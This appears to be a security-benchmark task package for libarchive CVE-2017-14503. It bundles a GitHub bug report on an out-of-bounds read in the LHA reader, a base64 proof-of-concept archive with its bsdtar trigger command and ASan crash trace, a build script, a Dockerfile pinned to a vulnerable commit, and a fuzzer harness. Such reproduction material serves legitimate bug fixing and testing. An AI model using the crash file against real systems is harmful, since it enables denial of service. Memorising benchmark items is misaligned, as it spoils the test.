Project: libarchive (libarchive/libarchive), language: c++
Vulnerability instance: libarchive.cve-2017-14503
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/libarchive/libarchive/issues/948
## Description:
Issue: libarchive/libarchive#948
Title: out-of-bounds read in lha_read_data_none()
State: closed
Created by: carnil
Created at: 2017-09-16 18:50:05+00:00

Issue Body:
Hi

The following was reported downstream in Debian at https://bugs.debian.org/875960

The `oob.lha` base64 encoded is:

````
YQAtbGgwLQwAAAAMAAAAADs9SyACeJdNBwBh5AQAAAwAAWhlbGxvLnR4dBMAQv9zdWJkaXL/c3Vi
ZGlyMv8bAEEAAG5cdYrKAQAAblx1in8fAORrn6AjzQEGAADnVA8AADA=
````

tested against 5562545b5562f6d12a4ef991fae158bf4ccf92b6:

```
ASAN_OPTIONS="detect_leaks=0" ./bsdtar -xOf ~/oob.lha
=================================================================
==21722==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x56536be61878 bp 0x7fffa2254ec0 sp 0x7fffa2254eb8
READ of size 2 at 0x631000024800 thread T0
    #0 0x56536be61877 in lha_crc16 libarchive/archive_read_support_format_lha.c:1740
    #1 0x56536be5f791 in lha_read_data_none libarchive/archive_read_support_format_lha.c:1429
    #2 0x56536be5f385 in archive_read_format_lha_read_data libarchive/archive_read_support_format_lha.c:1390
    #3 0x56536be06398 in _archive_read_data_block libarchive/archive_read.c:986
    #4 0x56536bec9481 in archive_read_data_block libarchive/archive_virtual.c:161
    #5 0x56536be0af76 in archive_read_data_into_fd libarchive/archive_read_data_into_fd.c:101
    #6 0x56536bde0c1e in read_archive tar/read.c:369
    #7 0x56536bddf303 in tar_mode_x tar/read.c:112
    #8 0x56536bddc62d in main tar/bsdtar.c:866
    #9 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
    #10 0x56536bdd7f79 in _start (/root/libarchive/bsdtar+0x3ff79)

0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800)
allocated by thread T0 here:
    #0 0x7fd1bea69b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70)
    #1 0x56536be1926e in file_open libarchive/archive_read_open_filename.c:358
    #2 0x56536be03da8 in archive_read_open1 libarchive/archive_read.c:480
    #3 0x56536be186ba in archive_read_open_filenames libarchive/archive_read_open_filename.c:152
    #4 0x56536be182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109
    #5 0x56536bddfed2 in read_archive tar/read.c:222
    #6 0x56536bddf303 in tar_mode_x tar/read.c:112
    #7 0x56536bddc62d in main tar/bsdtar.c:866
    #8 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)

SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_lha.c:1740 in lha_crc16
Shadow bytes around the buggy address:
  0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==21722==ABORTING
```


Comments:
Comment by carnil on 2017-09-17 18:27:55+00:00:
This issue was assigned CVE-2017-14503

---

Comment by lsandov1 on 2017-12-13 16:43:12+00:00:
Hi @carnil, is someone between the community is planning to fix this issue?

---

Comment by jstarks on 2018-07-25 18:53:03+00:00:
It looks like this was fixed with 2c8c83b9731ff822fad6cc8c670ea5519c366a14.

---

Comment by VictorRodriguez on 2018-07-25 19:05:01+00:00:
Thanks for the update @jstarks Can we apply the same logic to https://github.com/libarchive/libarchive/issues/949 ? 

---

Comment by jstarks on 2018-07-25 19:47:13+00:00:
I created PR #1042 that I believe fixes #949. A libarchive maintainer should weigh in on whether this is the appropriate fix, though.

---

Comment by VictorRodriguez on 2018-08-02 16:03:57+00:00:
any update on the approval of @jstarks PR https://github.com/libarchive/libarchive/pull/1042 ?

---

Comment by xhudik on 2018-08-31 06:24:22+00:00:
Hi, this seems to be relatively serious security issue since major linux distributions (like Ubuntu) are using libarchive.  Qualsys reported this:
```
THREAT:
Libarchive library provides features to support different kinds of archive and compression formats.
libarchive is affected by an Out-of-Bounds vulnerability in the read_data_none() in archive_read_support_format_lha.c component caused by the
extraction of a specially crafted lha archive.
Affected Version:
libarchive prior to and including version 3.3.2
QID Detection Logic:
The checks looks at the version of the package libarchive/libarchive13 to see if a vulnerable version is installed.
IMPACT:
Successful exploitation of the vulnerability will lead to denial of service attacks
```
Another source: https://cyber.vumetric.com/vulns/CVE-2017-5601/out-bounds-read-vulnerability-libarchive-3-2-2/
(it seems the issue is relevant also in 3.3.2 version)

I dont want to be pushy and I do understand people are working on this during their free time but this is a pain :( ...

---

Comment by VictorRodriguez on 2018-08-31 13:43:01+00:00:
@xhudik  https://github.com/libarchive/libarchive/pull/1042 is merged now 

---

Comment by xhudik on 2018-08-31 19:26:18+00:00:
@VictorRodriguez  - grea!!! So this issue can be closed now - right?

---

Comment by VictorRodriguez on 2018-08-31 21:10:46+00:00:
@carnil is the one that has power to close the issue

Commit References:
2c8c83b9731ff822fad6cc8c670ea5519c366a14
5562545b5562f6d12a4ef991fae158bf4ccf92b6

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure
make -j$(nproc) all

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config libbz2-dev liblzo2-dev liblzma-dev liblz4-dev libz-dev libxml2-dev libssl-dev libacl1-dev libattr1-dev
RUN git clone https://github.com/libarchive/libarchive libarchive
RUN git -C libarchive checkout 98a695399e8e7420635a5448aecde8b0a82fb83a
WORKDIR $SRC/libarchive
COPY build.sh $SRC/

Additional files:
filename: libarchive_fuzzer.cc
content: // Copyright 2016 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
////////////////////////////////////////////////////////////////////////////////
#include <stddef.h>
#include <stdint.h>
#include <vector>

#include "archive.h"

struct Buffer {
  const uint8_t *buf;
  size_t len;
};

ssize_t reader_callback(struct archive *a, void *client_data,
                        const void **block) {
  Buffer *buffer = reinterpret_cast<Buffer *>(client_data);
  *block = buffer->buf;
  ssize_t len = buffer->len;
  buffer->len = 0;
  return len;
}

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *buf, size_t len) {
  ssize_t r;
  struct archive *a = archive_read_new();

  archive_read_support_filter_all(a);
  archive_read_support_format_all(a);

  Buffer buffer = {buf, len};
  archive_read_open(a, &buffer, NULL, reader_callback, NULL);

  std::vector<uint8_t> data_buffer(getpagesize(), 0);
  struct archive_entry *entry;
  while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
    while ((r = archive_read_data(a, data_buffer.data(),
            data_buffer.size())) > 0)
      ;
    if (r == ARCHIVE_FATAL)
      break;
  }

  archive_read_free(a);
  return 0;
}